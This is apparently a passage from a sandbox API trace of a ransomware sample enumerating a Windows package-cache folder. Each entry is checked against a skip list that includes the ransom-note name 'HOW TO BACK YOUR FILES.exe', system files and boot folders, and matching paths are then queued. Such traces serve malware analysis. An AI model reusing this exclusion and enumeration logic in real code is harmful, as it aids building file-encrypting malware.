	[0038.763] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0038.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0038.763] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x599f60
	[0038.763] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc10
	[0038.763] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf94d4300, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf94d4300, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="windows") returned -1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="bootmgr") returned -1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="temp") returned -1
	[0038.763] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0038.764] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="boot") returned -1
	[0038.764] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ids.txt") returned -1
	[0038.764] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0038.764] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="perflogs") returned -1
	[0038.764] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="MSBuild") returned -1
	[0038.764] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50
	[0038.764] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83
	[0038.764] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0038.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0038.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x59a010
	[0038.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0038.764] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa931c450, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa931c450, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="windows") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="bootmgr") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="temp") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="boot") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ids.txt") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="perflogs") returned -1
	[0038.764] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="MSBuild") returned -1
	[0038.764] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50
	[0038.764] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 83
	[0038.764] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0038.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0038.764] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa8) returned 0x59a0c0
	[0038.764] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0038.764] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a20bca0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a20bca0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0038.764] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.764] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0038.764] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1
	[0038.764] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="windows") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="bootmgr") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="temp") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="boot") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ids.txt") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="perflogs") returned -1
	[0038.765] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="MSBuild") returned -1
	[0038.765] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49
	[0038.765] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83
	[0038.765] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0038.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0038.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a170
	[0038.765] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0038.765] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="windows") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="bootmgr") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="temp") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="boot") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ids.txt") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="perflogs") returned -1
	[0038.765] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="MSBuild") returned -1
	[0038.765] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49
	[0038.765] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 82
	[0038.765] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0038.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0038.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a220
	[0038.765] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0038.765] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="windows") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="bootmgr") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="temp") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="boot") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ids.txt") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="perflogs") returned -1
	[0038.766] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="MSBuild") returned -1
	[0038.766] lstrlenW (lpString="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 49
	[0038.766] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 82
	[0038.766] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030" | out: lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030"
	[0038.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0038.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a2d0
	[0038.766] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0038.766] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd7d760, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedbebcc0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2=".") returned 1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="..") returned 1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="windows") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="bootmgr") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="temp") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="boot") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ids.txt") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="perflogs") returned -1
	[0038.766] lstrcmpiW (lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpString2="MSBuild") returned -1
	[0038.766] lstrlenW (lpString="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 49
	[0038.767] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030") returned 82
	[0038.767] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030" | out: lpString1="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030"
	[0038.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0038.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a380
	[0038.767] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0038.767] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfaaff840, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="Apollon865.txt.exe") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2=".") returned 1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="..") returned 1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="windows") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="bootmgr") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="temp") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="pagefile.sys") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="boot") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ids.txt") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="ntuser.dat") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="perflogs") returned -1
	[0038.767] lstrcmpiW (lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpString2="MSBuild") returned -1
	[0038.767] lstrlenW (lpString="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 38
	[0038.767] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030") returned 82
	[0038.767] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}" | out: lpString1="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}"
	[0038.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0038.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x90) returned 0x59a430
	[0038.767] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0038.767] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2=".") returned 1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="..") returned 1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="windows") returned -1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="bootmgr") returned -1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="temp") returned -1
	[0038.767] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0038.768] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="boot") returned -1
	[0038.768] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ids.txt") returned -1
	[0038.768] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0038.768] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="perflogs") returned -1
	[0038.768] lstrcmpiW (lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", lpString2="MSBuild") returned -1
	[0038.768] lstrlenW (lpString="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned 49
	[0038.768] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 71
	[0038.768] lstrcpyW (in: lpString1=0x2d3e592, lpString2="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: lpString1="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030"
	[0038.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0038.768] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa6) returned 0x59a4c8
	[0038.768] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
